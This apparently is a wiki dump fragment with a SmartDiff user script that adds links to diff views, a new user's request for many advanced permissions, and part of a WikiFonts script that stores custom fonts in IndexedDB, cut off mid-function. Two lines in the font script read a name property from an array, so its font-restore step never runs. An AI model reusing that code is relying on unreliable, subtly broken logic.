$(':is(.diff-addedline, .diff-addedline, .diff-context) > div, .mw-diff-inline-added, .mw-diff-inline-deleted, .mw-diff-inline-changed').contents().each(function () {
if (this.previousSibling && this.previousSibling.tagName === this.tagName) {
this.previousSibling.textContent += this.textContent;
this.remove();
}
});
window.smartdiffTemplates = [
{
names: ['T', 'Tl'],
namespace: 10,
forceNs: true,
end: 1
},
{
names: ['Tlx'],
namespace: 10,
end: 1
},
{
names: ['U'],
prefix: 'Special:Contributions/',
end: 1
},
{
names: ['Re', 'Reply to', 'Ping'],
prefix: 'Special:Contributions/'
},
{
names: ['About'],
start: 3,
skipEven: true
},
{
names: ['For'],
start: 2
},
{
names: ['Other uses', 'Otheruses'],
end: 1
},
{
names: ['Section link', 'Slink'],
end: 1
},
{
names: ['Redirect'],
skipEven: true,
noRedirectEnd: 1
},
{
names: ['Shortcut'],
noRedirectStart: 1
},
{
names: ['Tracked', 'Phab'],
prefix: 'phab:',
end: 1
},
{
names: [
'Distinguish',
'Main', 'Main article',
'Further',
'See also', 'Seealso'
]
},
{
names: ['Ll'],
end: 1
}
];
mw.loader.using([
'mediawiki.util', 'mediawiki.Title', 'mediawiki.api'
], () => {
mw.loader.addStyleTag(`body:is(.skin-vector-legacy, .skin-monobook) .smartdiff-link:is(.extiw, .external) {
color: #36b;
}
body:is(.skin-vector-legacy, .skin-monobook) .smartdiff-link:is(.extiw, .external):visited {
color: #636;
}
body:is(.skin-vector-legacy, .skin-monobook) .smartdiff-link:is(.extiw, .external):active {
color: #b63;
}`);
class SmartDiff {
constructor($diff) {
this.now = performance.now();
this.$diff = $diff;
this.isView = mw.config.get('wgNamespaceNumber') !== -1 &&
mw.config.get('wgAction') === 'view' &&
$diff.nextAll().is('.diff-hr');
[
['old', '#mw-diff-otitle1 a, #differences-prevlink'],
['new', '#mw-diff-ntitle1 a, #differences-nextlink']
].forEach(([side, selector]) => {
let link = this.$diff[0].querySelector(selector);
let pn = link && mw.util.getParamValue('title', link.search);
if (pn) {
this[side] = {
pn,
ns: mw.Title.newFromText(pn).getNamespaceId()
};
}
});
this.isSamePage = this.old?.pn === this.new?.pn;
this.titles = {};
this.noRedirLinks = new WeakSet();
SmartDiff.sds.set($diff[0], this);
this.init();
}
async init($rows = this.$diff) {
this.side = 'old';
for (let div of $rows.find(
'.diff-deletedline > div, .mw-diff-inline-deleted'
)) {
await this.processLine(div);
}
this.side = 'new';
for (let div of $rows.find(
'.diff-addedline > div, .mw-diff-inline-added, .mw-diff-inline-context'
)) {
await this.processLine(div);
}
for (let div of $rows.find(
'.mw-diff-inline-changed, .mw-diff-inline-moved'
)) {
await this.processLine(div, true);
}
let $contexts = $rows.find('.diff-context > div'), clones = [];
for (let [i, div] of $contexts.get().entries()) {
if (i % 2) {
this.side = 'new';
if (this.sidePropUsed) {
await this.processLine(div);
} else if (this.divHasLink) {
div.replaceChildren(...$contexts.eq(i - 1).contents().clone());
clones.push(div);
}
} else {
this.side = 'old';
this.sidePropUsed = false;
await this.processLine(div);
}
}
$(clones).find('.smartdiff-link[title]').each((_, link) => {
this.titles[link.title]?.links.push(link);
});
this.queryTitles();
if (this.hasError) {
mw.notify('SmartDiff error', { type: 'warn' });
}
console.log(performance.now() - this.now);
}
async processLine(div, isInlineChange) {
this.divHasLink = false;
let tokens;
if (isInlineChange) {
tokens = this.tokenize(
div,
'del, .mw-diff-movedpara-left, .mw-diff-movedpara-right'
);
this.side = 'new';
await this.exec(tokens);
this.escapeTags(tokens, 'ins');
this.unescapeTags(tokens, 'del');
this.side = 'old';
await this.exec(tokens, true);
this.unescapeTags(tokens);
} else {
tokens = this.tokenize(div);
await this.exec(tokens);
}
if (!this.divHasLink) return;
try {
let newDiv = this.unescape(tokens);
this.verify(div, newDiv);
div.replaceChildren(...newDiv.childNodes);
} catch (e) {
debugger;
if (typeof e === 'string') {
this.hasError = true;
console.warn(`SmartDiff error: ${e}`);
} else {
throw e;
}
}
}
tokenize(el, escSelector) {
return [...el.childNodes].flatMap(node => {
if (node.nodeType === 3) {
return node.textContent.split('').map(s => ({ s }));
}
if (node.nodeType !== 1) {
return [];
}
if (escSelector && node.matches(escSelector)) {
return [
{ openingTag: node },
{
esc: this.tokenize(node, escSelector),
tag: node
},
{ closingTag: node }
];
}
return [
{ openingTag: node },
...this.tokenize(node, escSelector),
{ closingTag: node }
];
});
}
escapeTags(tokens, selector) {
let tags = [];
tokens.forEach((token, i) => {
if (token.openingTag?.matches(selector)) {
tags.push([token.openingTag, i + 1]);
} else if (token.closingTag?.matches(selector)) {
tags.at(-1)[2] = i;
}
});
tags.reverse().forEach(([tag, start, end]) => {
let token = { tag };
token.esc = tokens.splice(start, end - start, token);
});
}
unescapeTags(tokens, selector) {
tokens.splice(0, Infinity, ...tokens.flatMap(token => (
token.esc && (!selector || token.tag?.matches(selector))
? token.esc
: [token]
)));
}
unescape(tokens) {
let els = [$('<div>')[0]], lastText = '';
tokens.forEach(token => {
if (token.openingTag) {
if (lastText) {
els.at(-1).append(lastText);
lastText = '';
}
let el = token.openingTag;
if (!token.link) {
el = el.cloneNode();
}
els.at(-1).append(el);
els.push(el);
} else if (token.closingTag) {
let el = els.pop();
if (!els.length) {
throw `too many closing tags.\n\n${el.innerHTML}`;
}
if (el.tagName !== token.closingTag.tagName) {
throw `expected </${
token.closingTag.tagName
}>, got </${el.tagName}>.\n\n${els[0].innerHTML}`;
}
if (lastText) {
el.append(lastText);
lastText = '';
}
} else {
lastText += token.s;
}
});
if (lastText) {
els.at(-1).append(lastText);
}
if (els.length !== 1) {
throw `too many opening tags.\n\n${els[0].innerHTML}`;
}
return els[0];
}
verify(div, newDiv) {
let origHtml = div.innerHTML;
let $comp = $(newDiv).clone();
$comp.find('.smartdiff-link').contents().unwrap();
let comp = $comp.html().replace(/<\/(ins|del)><\1(?: [^>]+)?>/g, '');
if (comp !== origHtml) {
throw `changed substance.\n\nOriginal:\n${origHtml}\n\nCleaned:\n${comp}\n\nFull:\n${newDiv.innerHTML}`;
}
let emptyCells = newDiv.querySelectorAll(':is(ins, del):empty');
if (emptyCells.length) {
console.log('Empty cells found:', ...emptyCells);
mw.notify('Empty cells found');
}
}
async exec(tokens, isSecond) {
let s = tokens.map(token => token.s || '').join('');
let modes = isSecond
? ['url', 'link', 'template', 'gallery']
: ['url', 'link', 'template', 'heading', 'gallery'];
for (let mode of modes) {
await this.search(s, tokens, mode);
}
}
async search(s, tokens, mode, data) {
for (let match of s.matchAll(SmartDiff[mode + 'Re'])) {
await this[mode + 'Callback'](
tokens,
...match.indices.slice(1).map((indices, i) => indices && {
s: match[i + 1],
indices,
tokens,
tokenIndices: SmartDiff.tokenIndices
}),
data
);
}
}
static tokenIndices() {
let count = 0, start;
for (let [i, token] of this.tokens.entries()) {
if (token.s) {
if (count === this.indices[0]) {
start = i;
}
if (count === this.indices[1] - 1) {
return [start, i + 1];
}
count++;
}
}
}
static linkRe = /\[\[\s*(?:<tvar(?: [^>]*)?>\s*)?((?:[^<>\[\]{|}])+?)(?:\s*<\/tvar>)?\s*(?:\||\]\])/dg;
async linkCallback(tokens, mid) {
let s = this.decodeWikitext(mid.s, true);
let t;
if (s.startsWith('/')) {
t = await this.getSubpage(s);
} else if (s.startsWith('#') && (!this.isView || !this.isSamePage)) {
t = mw.Title.newFromText(this.getProp() + s);
} else if (s.startsWith('../')) {
t = await this.getParentPage(s);
} else {
t = mw.Title.newFromText(s);
}
if (!t) return;
this.link(tokens, ...mid.tokenIndices(), t);
}
static templateRe = /((?<!{){{\s*(?:(?:#invoke|(?:safe)?subst|msg(?:nw)?|raw|int):\s*)?(?:<tvar(?: [^>]*)?>\s*)?)([^<>\[\]{|}]+?)((?:\s*<\/tvar>)?\s*(\|.*)?(?:}}|$))/dg;
async templateCallback(tokens, pre, mid, post, args) {
let s = this.decodeWikitext(mid.s, true);
let t;
if (pre.s.includes('invoke')) {
t = mw.Title.makeTitle(828, s);
} else if (s.startsWith('#')) {
return;
} else if (pre.s.includes('int')) {
t = mw.Title.makeTitle(8, s);
} else if (s.startsWith('/')) {
t = await this.getSubpage(s, 10);
} else if (s.startsWith('../')) {
t = await this.getParentPage(s, 10);
} else {
if (!pre.s.includes('msg') && !pre.s.includes('raw')) {
let match = s.match(/^[^:]+(?::(?=.)|$)/);
if (match && SmartDiff.magicWords.includes(match[0])) return;
}
t = mw.Title.newFromText(s, 10);
}
if (t) {
this.link(tokens, ...mid.tokenIndices(), t);
}
if (!args) return;
let [postStart, postEnd] = post.tokenIndices();
let newPost = tokens.slice(postStart, postEnd);
await this.search(post.s, newPost, 'template');
if (!t || !Array.isArray(SmartDiff.templates)) return;
let name = t.getMainText();
for (let data of SmartDiff.templates) {
if (Array.isArray(data?.names) &&
Array.prototype.includes.call(data.names, name)
) {
await this.search(
post.s,
newPost,
'templateArgs',
{ ...data, i: 1 }
);
}
}
tokens.splice(postStart, postEnd - postStart, ...newPost);
}
static templateArgsRe = /\|\s*(?:([^=|]*?)\s*=)?\s*(?:<tvar(?: [^>]*)?>\s*)?(.*?)(?:\s*<\/tvar>)?\s*(?=\||{{!}}|}}|$)/dg;
templateArgsCallback(tokens, name, mid, data) {
let n = name ? Number(name.s) || name.s : data.i++;
if (typeof n !== 'number' || (
n < data.start || n > data.end ||
(n % 2 ? data.skipOdd : data.skipEven)
)) {
return;
}
let s = this.decodeWikitext(mid.s);
if (data.prefix) {
s = data.prefix + s;
}
if (data.suffix) {
s += data.suffix;
}
let t = data.forceNs
? mw.Title.makeTitle(data.namespace, s)
: mw.Title.newFromText(s, data.namespace);
if (!t) return;
this.link(
tokens,
...mid.tokenIndices(),
t,
n >= data.noRedirectStart || n <= data.noRedirectEnd
);
}
static urlRe = /(\[(?=.+\]))?((?:\bhttps?:)?\/\/[^\s"<>\[\]{|}]*)([^\s"<>\[\]{|}])/dg;
urlCallback(tokens, pre, mid, last) {
let omitLast;
if (!pre) {
if (mid.s.startsWith('//')) return;
if (last.s === ';') {
let match = mid.s.match(/&#?[\da-z]+$/i);
if (match) {
let source = match[0] + last.s;
omitLast = this.decodeWikitext(source) !== source;
}
} else {
let trails = '!,.:?';
if (!mid.s.includes('(')) {
trails += ')';
}
omitLast = trails.includes(last.s);
}
}
let s = mid.s;
if (!omitLast) {
s += last.s;
}
let [midStart, midEnd] = mid.tokenIndices();
this.link(
tokens,
midStart,
omitLast ? midEnd : last.tokenIndices()[1],
this.decodeWikitext(s)
);
}
static headingRe = /^(={1,6})\s*(.+?)\s*(\1)\s*(?=<!--|$)/dg;
headingCallback(tokens, pre, mid, post) {
if (/{{|<\/?ref(?:\s[^>]*)?>|\[(?:https?:)?\/\/[^\s\[\]]+\]/i.test(mid.s)) return;
let s = this.decodeWikitext(mid.s).replace(
/'''(.+?)'''|\[\[:?(?:[^|\]]+\|)?([^\]]+)\]\]|<\/?(?:abbr|b|bdi|bdo|big|cite|code|data|del|dfn|em|font|i|ins|kbd|mark|nowiki|q|rb|rp|rt|rtc|ruby|s|samp|small|span|strike|strong|sub|sup|templatestyles|time|translate|tt|u|var)(?:\s[^>]*)?>|<!--.*?-->|\[(?:https?:)?\/\/[^\s\[\]]+\s([^\]]+)\]/gi,
'$1$2$3'
).replace(/''(.+?)''/g, '$1');
let t = mw.Title.newFromText(
`${!this.isView || !this.isSamePage ? this.getProp() : ''}#${s}`
);
if (!t) return;
let midIndices = mid.tokenIndices();
if (tokens.slice(...midIndices).some(({ link }) => link)) {
this.link(tokens, ...post.tokenIndices(), t);
this.link(tokens, ...pre.tokenIndices(), t);
} else {
this.link(tokens, ...midIndices, t);
}
}
// https://commons.wikimedia.org/wiki/Special:MediaStatistics
static galleryRe = /^\s*((?:[^<>\[\]{|}])+\.(?:apng|djv|djvu|flac|gif|jpe|jpeg|jpg|jps|kar|m4a|m4b|m4p|m4r|m4v|mid|midi|mp2|mp3|mp4|mpa|mpe|mpeg|mpg|mpga|oga|ogg|ogm|ogv|ogx|opus|pdf|png|spx|stl|svg|tif|tiff|wav|webm|webp|xcf))\s*(?:\||$)/dgi;
galleryCallback(tokens, mid) {
let s = this.decodeWikitext(mid.s, true);
let t = mw.Title.newFromText(s, 6);
if (t && t.getNamespaceId() !== 6) {
t = mw.Title.makeTitle(6, s);
}
if (!t) return;
this.link(tokens, ...mid.tokenIndices(), t);
}
link(tokens, start, end, mwtOrUrl, noRedirect) {
let indices = [], last;
tokens.slice(start, end).forEach((token, i) => {
if (!token.s && !token.link && !token.esc) return;
if (token.s && !token.link) {
if (!indices.length || last && (
token.link !== last.link || token.esc !== last.esc
)) {
indices.push([start + i]);
}
indices.at(-1)[1] = start + i + 1;
}
last = token;
});
if (indices.some(chunkIndices => chunkIndices.length !== 2)) {
mw.notify('Corrupt chunks found');
debugger;
}
if (!indices.length) return;
let attribs = { class: 'smartdiff-link' }, obj;
if (typeof mwtOrUrl === 'string') {
attribs.class += ' external';
attribs.href = mwtOrUrl;
attribs.rel = 'nofollow';
} else {
let title = mwtOrUrl.toText();
if (title) {
if (Object.hasOwn(this.titles, title)) {
obj = this.titles[title];
if (obj.classes) {
attribs.class += ' ' + obj.classes.join(' ');
}
} else {
obj = { links: [] };
this.titles[title] = obj;
}
if (obj.url) {
attribs.href = obj.url;
} else {
let params = obj.red && { action: 'edit', redlink: 1 } ||
noRedirect && obj.redirect && { redirect: 'no' };
attribs.href = mw.util.getUrl(
obj.canonical || title,
params
);
}
let fragment = mwtOrUrl.getFragment();
if (fragment) {
attribs.href += mw.util.getUrl('#' + fragment);
}
attribs.title = obj.canonical || title;
} else {
attribs.class += ' mw-selflink-fragment';
attribs.href = mwtOrUrl.getUrl();
}
}
let links = indices.reverse().map(chunkIndices => (
this.linkChunk(tokens, ...chunkIndices, attribs)
));
if (obj && !obj.processed) {
obj.links.push(...links);
if (noRedirect) {
links.forEach(link => {
this.noRedirLinks.add(link);
});
}
}
this.divHasLink = true;
}
linkChunk(tokens, start, end, attribs) {
let newStart = start, newEnd = end;
let mid = tokens.slice(start, end);
let midTags = mid.filter(({ s }) => !s);
if (tokens[newStart - 1]?.openingTag && midTags[0]?.closingTag &&
tokens[newStart - 1].openingTag.tagName === midTags[0].closingTag.tagName
) {
midTags.unshift(tokens[newStart - 1]);
newStart--;
}
if (tokens[newEnd]?.closingTag && midTags.at(-1)?.openingTag &&
tokens[newEnd].closingTag.tagName === midTags.at(-1).openingTag.tagName
) {
midTags.push(tokens[newEnd]);
newEnd++;
}
let link = $('<a>').attr(attribs)[0];
let pre = [{ openingTag: link, link }];
let post = [{ closingTag: link, link }];
if (midTags[0]?.closingTag) {
pre.unshift({ closingTag: midTags[0].closingTag });
pre.push({ openingTag: midTags[0].closingTag });
}
if (midTags.at(-1)?.openingTag) {
post.unshift({ closingTag: midTags.at(-1).openingTag });
post.push({ openingTag: midTags.at(-1).openingTag });
}
tokens.splice(newEnd, 0, ...post);
tokens.splice(newStart, 0, ...pre);
mid.forEach(token => {
if (token.s) {
token.link = link;
}
});
return link;
}
decodeWikitext(text, decodePercents) {
let s = text;
if (decodePercents) {
try {
s = decodeURIComponent(s);
} catch {}
}
return $($.parseHTML(s)).text();
}
async getSubpage(s, fallbackNs) {
if (await this.canHaveSubpages()) {
return mw.Title.newFromText(
this.getProp() + s.replace(/\/+$/, '')
);
}
return mw.Title.newFromText(s, fallbackNs);
}
async getParentPage(s, fallbackNs) {
if (await this.canHaveSubpages()) {
let chunks = s.split('/');
let levelCount = chunks.findIndex(v => v !== '..');
let sup = this.getProp().split('/').slice(0, -levelCount).join('/');
if (sup) {
let sub = chunks.slice(levelCount).join('/').replace(/\/+$/, '');
return mw.Title.newFromText(sub ? `${sup}/${sub}` : sup);
}
}
return mw.Title.newFromText(s, fallbackNs);
}
async canHaveSubpages(ns = this.getProp('ns')) {
SmartDiff.subNs = SmartDiff.subNs ||
mw.config.get('wgVisualEditorConfig')?.namespacesWithSubpages ||
Object.values((await new mw.Api().get({
action: 'query',
meta: 'siteinfo',
siprop: 'namespaces',
formatversion: 2
})).query.namespaces).filter(n => n.subpages).map(n => n.id);
return SmartDiff.subNs.includes(ns);
}
getProp(n = 'pn') {
if (this[this.side]) {
this.sidePropUsed = !this.isSamePage;
return this[this.side][n];
}
if (Object.hasOwn(this, n)) {
return this[n];
}
this.pn = mw.config.get('wgPageName');
this.ns = mw.config.get('wgNamespaceNumber');
return this[n];
}
async queryTitles() {
let unprocessed = Object.entries(this.titles)
.filter(([, v]) => !v.processed).slice(0, 500).map(([k]) => k);
while (unprocessed.length) {
let curTitles = unprocessed.slice(0, 50);
curTitles.forEach(title => {
this.titles[title].processed = true;
});
let { query } = await new mw.Api().post({
action: 'query',
titles: curTitles,
iwurl: 1,
prop: 'info',
inprop: 'linkclasses',
inlinkcontext: this.getProp(),
formatversion: 2
}, {
headers: { 'Promise-Non-Write-API-Action': 1 }
});
query.pages?.forEach(p => {
if (!Object.hasOwn(this.titles, p.title)) return;
let obj = this.titles[p.title];
let classes = p.linkclasses || [];
if (p.missing && !p.known) {
classes.push('new');
obj.red = true;
} else if (p.redirect) {
obj.redirect = true;
}
if (classes.length) {
obj.classes = classes;
}
});
query.interwiki?.forEach(iw => {
this.titles[iw.title] = { classes: ['extiw'], url: iw.url };
});
query.normalized?.forEach(({ from, to }) => {
if (!Object.hasOwn(this.titles, to)) return;
this.titles[from] = { ...this.titles[to], canonical: to };
});
curTitles.forEach(title => {
let obj = this.titles[title];
if (obj.classes) {
$(obj.links).addClass(obj.classes);
}
if (obj.redirect) {
$(obj.links).attr('href', (_, link) => {
return mw.util.getUrl(
obj.canonical || title,
this.noRedirLinks.has(link) && { redirect: 'no' }
) + this.hash;
});
} else {
let url = obj.url ||
obj.red && mw.util.getUrl(
obj.canonical || title,
{ action: 'edit', redlink: 1 }
) ||
obj.canonical && mw.util.getUrl(obj.canonical);
if (url) {
$(obj.links).attr('href', function () {
return url + this.hash;
});
}
}
if (obj.canonical) {
$(obj.links).attr('title', obj.canonical);
}
obj.links = [];
});
unprocessed = unprocessed.slice(50);
}
}
static sds = new WeakMap();
static templates = window.smartdiffTemplates;
static magicWords = [
'!', '=', 'BASEPAGENAME', 'BASEPAGENAME:', 'BASEPAGENAMEE', 'BASEPAGENAMEE:',
'canonicalurl:', 'CURRENTDAY', 'CURRENTDAY2', 'CURRENTDAYNAME', 'CURRENTDOW',
'CURRENTHOUR', 'CURRENTMONTH', 'CURRENTMONTH1', 'CURRENTMONTHABBREV',
'CURRENTMONTHNAME', 'CURRENTMONTHNAMEGEN', 'CURRENTTIME', 'CURRENTTIMESTAMP',
'CURRENTVERSION', 'CURRENTWEEK', 'CURRENTYEAR', 'DEFAULTCATEGORYSORT:',
'DEFAULTSORT:', 'DEFAULTSORTKEY:', 'DISPLAYTITLE:', 'filepath:', 'formatnum:',
'FULLPAGENAME', 'FULLPAGENAME:', 'FULLPAGENAMEE', 'FULLPAGENAMEE:', 'fullurl:',
'gender:', 'lc:', 'lcfirst:', 'LOCALDAY', 'LOCALDAY2', 'LOCALDAYNAME',
'LOCALDOW', 'LOCALHOUR', 'LOCALMONTH', 'LOCALMONTH1', 'LOCALMONTHABBREV',
'LOCALMONTHNAME', 'LOCALMONTHNAMEGEN', 'LOCALTIME', 'LOCALTIMESTAMP',
'LOCALWEEK', 'LOCALYEAR','NAMESPACE', 'NAMESPACE:', 'NAMESPACEE', 'NAMESPACEE:',
'NAMESPACENUMBER', 'NAMESPACENUMBER:', 'ns:', 'NUMBEROFACTIVEUSERS',
'NUMBEROFARTICLES', 'NUMBEROFEDITS', 'NUMBEROFFILES', 'NUMBEROFPAGES',
'NUMBEROFUSERS', 'padleft:', 'PAGENAME', 'PAGENAMEE', 'PAGESINCAT:',
'PAGESINCATEGORY:', 'plural:', 'REVISIONDAY', 'REVISIONDAY:', 'REVISIONDAY2',
'REVISIONDAY2:', 'REVISIONID', 'REVISIONID:', 'REVISIONMONTH', 'REVISIONMONTH:',
'REVISIONMONTH1', 'REVISIONMONTH1:', 'REVISIONSIZE', 'REVISIONTIMESTAMP',
'REVISIONTIMESTAMP:', 'REVISIONUSER', 'REVISIONUSER:', 'REVISIONYEAR',
'REVISIONYEAR:', 'ROOTPAGENAME', 'ROOTPAGENAME:', 'ROOTPAGENAMEE',
'ROOTPAGENAMEE:', 'SHORTDESC:', 'SUBJECTPAGENAME', 'SUBJECTPAGENAME:',
'SUBJECTPAGENAMEE', 'SUBJECTPAGENAMEE:', 'SUBJECTSPACE', 'SUBJECTSPACE:',
'SUBJECTSPACEE', 'SUBJECTSPACEE:', 'SUBPAGENAME', 'SUBPAGENAME:',
'SUBPAGENAMEE', 'SUBPAGENAMEE:', 'TALKPAGENAME', 'TALKPAGENAME:',
'TALKPAGENAMEE', 'TALKPAGENAMEE:', 'TALKSPACE', 'TALKSPACE:', 'TALKSPACEE',
'TALKSPACEE:', 'uc:', 'ucfirst:', 'urlencode:'
];
}
if (Array.isArray(window.smartdiffMagicWords)) {
SmartDiff.magicWords.push(...window.smartdiffMagicWords);
}
mw.hook('wikipage.diff').add((window.sdcb = ($diff => {
window.sd = new SmartDiff($diff);
})));
mw.hook('wikipage.diff.wikitextBodyUpdate').add((window.sdcbu = ($rows => {
let $diff = $rows.closest('.diff');
let sd = SmartDiff.sds.get($diff[0]);
if (sd) {
sd.init($rows.filter(function () {
return this.checkVisibility();
}));
} else {
window.sd = new SmartDiff($diff);
}
})));
});
pkrbja6xjv3i0a839k5p6lbc23je88x
Wikipedia:Requests/Permissions/TienMinh-mun6xnChing
4
179200
768282
768142
2026-10-13T14:19:54Z
TienMinh-mun6xnChing
76150
768282
wikitext
text/x-wiki
=== [[User:TienMinh-mun6xnChing|TienMinh-mun6xnChing]] ===
* {{User3|TienMinh-mun6xnChing}}, [[Special:CentralAuth/TienMinh-mun6xnChing|global contribs]] 12:09, 12 October 2026 (UTC)
* '''Motive for request:''' I'm a new member on this project, I need autoconfirmed status and these rights for technical repairing on Vietnamese Wiktionary, I'm having problem on moving page and getting some restrictions from abuse filter.
* '''Requested rights:''' Confirmed user, Account creator, event organizer, new page reviewer, template editor, temporary account IP viewer, rollbacker, transwiki importer
* '''Comments:'''
9lbiikq9xy4pbo000v7m7zuuh33vs2x
User:OUT is this/WikiFontsAddonBigdataTest.js
2
179224
768348
768267
2026-10-14T00:34:35Z
OUT is this
73801
768348
javascript
text/javascript
// === WikiFonts.js Core Addon (IndexedDB Storage & UI Modularity) ===
(function() {
'use strict';
if (!mw.config.get('wgUserId')) return;
var STORAGE_KEY = 'wikifonts_history_addon', TOGGLE_KEY = 'wikifonts_history_toggle_state';
var DB_NAME = 'WikiFontsAddonDB', STORE_NAME = 'fontDataStore';
var isOpen = localStorage.getItem(TOGGLE_KEY) === 'open';
// 1. Establish secure transaction bridge to browser database storage
function openDB() {
return $.Deferred(function(d) {
var req = indexedDB.open(DB_NAME, 1);
req.onupgradeneeded = function(e) { if (!e.target.result.objectStoreNames.contains(STORE_NAME)) e.target.result.createObjectStore(STORE_NAME, { keyPath: 'id' }); };
req.onsuccess = function(e) { d.resolve(e.target.result); };
req.onerror = function(e) { d.reject(e.target.error); };
}).promise();
}
// 2. Safely grab massive Base64 raw streams from the database
function getLargeFont(name) {
return openDB().then(function(db) {
var d = $.Deferred();
db.transaction([STORE_NAME], 'readonly').objectStore(STORE_NAME).get(name).onsuccess = function(e) { d.resolve(e.target.result); };
return d.promise();
});
}
// 3. Commit large font assets directly into database storage bypass chambers
function saveLargeFont(name, url) {
return openDB().then(function(db) {
var d = $.Deferred();
db.transaction([STORE_NAME], 'readwrite').objectStore(STORE_NAME).put({ id: name, dataUrl: url }).onsuccess = function() { d.resolve(); };
return d.promise();
});
}
function loadHistory() {
try {
var h = JSON.parse(localStorage.getItem(STORAGE_KEY) || '[]');
if (!h.some(function(i){return i.name==='default'})) { h.push({name:'default',starred:false,time:0}); localStorage.setItem(STORAGE_KEY, JSON.stringify(h)); }
return h;
} catch(e) { return [{name:'default',starred:false,time:0}]; }
}
// [Pre-emptive Style Sync] Re-applies font instantly on new page request bootups
$(document).ready(function() {
try {
var h = loadHistory();
if (h.length && h.name) {
var top = h.name;
getLargeFont(top).done(function(r) {
if (r && r.dataUrl) {
$('#customFontFace').remove();
$('<style>',{id:'customFontFace'}).text('@font-face { font-family: "'+top+'"; src: url("'+r.dataUrl+'"); }').appendTo('head');
document.body.style.setProperty('font-family', top, 'important'); $('#fontFamilyInput').val(top);
}
});
}
} catch(e){}
});
$(document).ready(function() {
$('<style>').text(`
#vector-user-links-dropdown #pt-wikifonts, .vector-user-menu #pt-wikifonts { display: none !important; }
#vector-user-links-dropdown #pt-wikifonts:has(+ #pt-logout), .vector-user-menu #pt-wikifonts:has(+ #pt-logout) { display: block !important; }
`).appendTo('head');
function ensureLink() {
if (!($('#pt-logout').prev().is('#pt-wikifonts') && $('#pt-logout').length)) {
mw.util.addPortletLink('p-personal', 'javascript:void(0);', 'WikiFonts', 'pt-wikifonts', 'Open WikiFonts font settings', null, '#pt-logout');
}
}
ensureLink();
$(document).on('click', '#vector-user-links-dropdown-checkbox, #vector-user-links-dropdown-label', function() { setTimeout(ensureLink, 10); setTimeout(ensureLink, 100); });
function addFontToHistory(font) {
if (!font) return;
var h = loadHistory(), idx = h.findIndex(function(i){return i.name===font});
var star = idx !== -1 ? h[idx].starred : false;
if (idx !== -1) h.splice(idx, 1);
h.unshift({name: font, starred: star, time: Date.now()});
var s = h.filter(function(i){return i.starred && i.name!=='default'});
var u = h.filter(function(i){return !i.starred && i.name!=='default'}).slice(0, 5);
h = s.concat(u).sort(function(a,b){return b.time-a.time}); h.push({name:'default',starred:false,time:0});
localStorage.setItem(STORAGE_KEY, JSON.stringify(h)); renderUI();
}
function renderUI() {
var $box = $('#resetFontBtn').parent(); if (!$box.length) return;
$('#wikifonts-history-section').remove();
var $sec = $('<div>',{id:'wikifonts-history-section'}).css({'margin-top':'15px','padding-top':'5px','text-align':'left'});
var $hdr = $('<div>').css({'cursor':'pointer','display':'flex','justify-content':'space-between','padding':'6px 0','color':'#001f3f','font-size':'14px'})
.html('<span>Font History:</span><span id="wf-history-arrow" style="font-size:13px;margin-right:5px;color:#36c;">'+(isOpen?'[非表示]':'[表示]')+'</span>')
.on('click', function() { isOpen = $list.is(':hidden'); $list.toggle(isOpen); $('#wf-history-arrow').text(isOpen?'[非表示]':'[表示]'); localStorage.setItem(TOGGLE_KEY, isOpen?'open':'close'); });
var $list = $('<div>',{id:'wikifonts-history-list'}).css({'display':isOpen?'block':'none','max-height':'180px','overflow-y':'auto'});
loadHistory().forEach(function(item) {
if (item.name === 'default') return;
var $row = $('<div>').css({'display':'flex','align-items':'center','justify-content':'space-between','padding':'6px 0','border-bottom':'1px solid rgba(0,31,63,0.1)'});
var $left = $('<div>').css({'display':'flex','align-items':'center','gap':'8px'});
$('<span>').text(item.starred?'⭐':'☆').css({'cursor':'pointer','font-size':'13px','color':item.starred?'#ffc107':'#001f3f'})
.on('click', function(e) { e.stopPropagation();
var h = loadHistory(), i = h.find(function(f){return f.name===item.name});
if (i) { i.starred = !i.starred; localStorage.setItem(STORAGE_KEY, JSON.stringify(h)); renderUI(); }
}).appendTo($left);
$('<span>').text(item.name).css({'font-family':'"'+item.name+'",sans-serif','cursor':'pointer','font-size':'14px','color':'#000'})
.on('mouseenter', function(){ $(this).css({'color':'#0074D9','text-decoration':'underline'}); })
.on('mouseleave', function(){ $(this).css({'color':'#000','text-decoration':'none'}); })
.on('click', function(){
$('#fontFamilyInput').val(item.name);
getLargeFont(item.name).done(function(r){
if (r&&r.dataUrl){
$('#customFontFace').remove(); $('<style>',{id:'customFontFace'}).text('@font-face{font-family:"'+item.name+'";src:url("'+r.dataUrl+'");}').appendTo('head');
document.body.style.setProperty('font-family',item.name,'important');
}
});
}).appendTo($left);
$('<span>').text('❌').css({'cursor':'pointer','font-size':'11px','padding':'2px 4px','opacity':'0.5'})
.on('mouseenter', function(){ $(this).css('opacity','1'); }).on('mouseleave', function(){ $(this).css('opacity','0.5'); })
.on('click', function(e) { e.stopPropagation();
if (confirm('フォント「'+item.name+'」を履歴から削除しますか?')) {
var h = loadHistory().filter(function(f){return f.name!==item.name}); localStorage.setItem(STORAGE_KEY, JSON.stringify(h));
openDB().done(function(db){ db.transaction([STORE_NAME],'readwrite').objectStore(STORE_NAME).delete(item.name); }); renderUI();
}
}).appendTo($row.append($left));
$row.appendTo($list);
});
$list.children().last().css('border-bottom', 'none');
if (!$list.children().length) $('<div>').text('(No history)').css({'color':'#001f3f','font-style':'italic','padding':'4px 0','font-size':'13px','opacity':'0.7'}).appendTo($list);
$box.append($sec.append($hdr).append($list));
}
setInterval(function() { if ($('#wikiFontsModal').is(':visible') && !$('#wikifonts-history-section').length) renderUI(); }, 1000);
// 【大容量最適化】Intercepts base app save and reroutes file raw logs safely to IndexedDB
$(document).on('click', '#saveWikiFonts', function() {
var font = $('#fontNameInput').val() || $('#fontFamilyInput').val(), data = window.uploadedFontDataUrl || null;
if (data && font) {
saveLargeFont(font.trim(), data).done(function() {
addFontToHistory(font.trim());
// Force-clear base app fontDataUrl target to completely bypass localStorage overflow errors
var c = JSON.parse(localStorage.getItem('wikiFontSettings') || '{}'); c.fontFamily = font.trim(); c.fontName = ''; c.fontDataUrl = null; localStorage.setItem('wikiFontSettings', JSON.stringify(c));
});
} else if (font) { addFontToHistory(font.trim()); }
}).on('click', '#closeWikiFonts', function() {
var h = loadHistory();
if (h.length && h.name) {
var top = h.name;
if (top === 'default') { document.body.style.removeProperty('font-family'); $('#fontFamilyInput').val(''); $('#customFontFace').remove(); }
else {
getLargeFont(top).done(function(r) {
if (r && r.dataUrl) {
